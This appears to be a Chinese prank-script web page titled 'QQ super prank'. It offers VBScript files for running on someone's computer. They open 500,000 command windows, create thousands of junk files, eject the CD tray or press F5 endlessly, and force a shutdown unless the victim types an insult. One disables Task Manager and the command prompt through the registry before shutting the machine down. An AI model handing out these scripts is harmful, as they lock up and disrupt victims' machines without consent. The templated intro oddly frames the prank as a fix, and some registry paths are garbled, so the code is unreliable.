很多人都懂一些简单的电脑系统问题的解决方案，但是qq超级整人的解决思路却鲜为人知，小编前几天就遇到了qq超级整人的问题，于是准备整理一些qq超级整人的解决思路，其实只需要按照1：新建立一个本文文档，然后在复制代码粘贴上去。最后，改后缀名为vbs2：以下代码的作用是打开50万个cmd.exe500000是打开cmd.exe的数量.--------------------------------------------------------------------------------Set shell=CreateObject("wscript.Shell")a=1Doshell.Run "cmd /k MODE con: COLS=14 LINES=5&@echo off & color "&a&"7 &echo "&a&" "If a=500000 Then Exit doa=a+1loop--------------------------------------------------------------------------------的步骤即可，大家一起来看看小编整理的关于qq超级整人的解决方法：
1：新建立一个本文文档，然后在复制代码粘贴上去。最后，改后缀名为vbs
2：以下代码的作用是打开50万个cmd.exe
500000是打开cmd.exe的数量.
--------------------------------------------------------------------------------
Set shell=CreateObject("wscript.Shell")
a=1
Do
shell.Run "cmd /k MODE con: COLS=14 LINES=5&@echo off & color "&a&"7 &echo "&a&" "
If a=500000 Then Exit do
a=a+1
loop
--------------------------------------------------------------------------------
3：此代码的作用是生成5000个滑稽文件名字分别为滑稽 滑稽1 滑稽2 滑稽3………
5000可以更改改为多少个就生成多少个滑稽文件
--------------------------------------------------------------------------------
Do Until t_i=1
t_i=t_i+1
T=T+"滑稽 "
Loop
Do
Set fs = CreateObject("Scripting.FileSystemObject")
Set f = fs.OpenTextFile(I&".滑稽", 2, True, -2)
f.Write T
f.Close
I=I+1
If I = 5000 then
Exit Do
End If
Loop
--------------------------------------------------------------------------------
4：无限弹出光驱：
-------------------------------------------------------------------------------
set wmp=createobject("wmplayer.ocx")
set cd=wmp.cdromcollection.item(0)
do
cd.eject
loop
--------------------------------------------------------------------------------
5：无尽刷新：
慎用，如此刷新打开任务管理器都难，只能拔掉电源。
--------------------------------------------------------------------------------
set ws=createobject("wscript.shell")
do
ws.sendkeys "{f5}"
loop
--------------------------------------------------------------------------------
6：on error resume next dim WSHshellA set WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说你是白痴，我是天下第一大2B不说宝宝，我是天下第一大2B就一分钟关你机，不信，试试···"" ",0 ,true dim a do while(a <> "宝宝，我是天下第一大脑残") a = inputbox ("宝宝，我是天下第一大神经,就不关机，快撒，说 ""宝宝，我是天下第一大2B"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox" loop msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛，乖乖" dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,true msgbox chr(13) + chr(13) + chr(13) + "宝宝是不是又帅啦？？"
7：有什么效果你可以自己试试
--------------------------------------------------------------------------------
set s=createobject("wscript.shell") set bag=getobject("winmgmts:\\. ootcimv2") set pipe=bag.execquery("select * from win32_process where name='wscript.exe'") For Each id in pipe if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr",0,"REG_DWORD" s.regwrite"HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD",0,"REG_DWORD" id.terminate() else s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr",1,"REG_DWORD" s.regwrite"HKCUSoftwarePoliciesMicrosoftWindowsSystemDisableCMD",1,"REG_DWORD" for i=1 to 60 s.popup"系统将在"& 60-i &"秒后关机...",1,"系统提示",4096+48 next Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem") For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next
--------------------------------------------------------------------------------
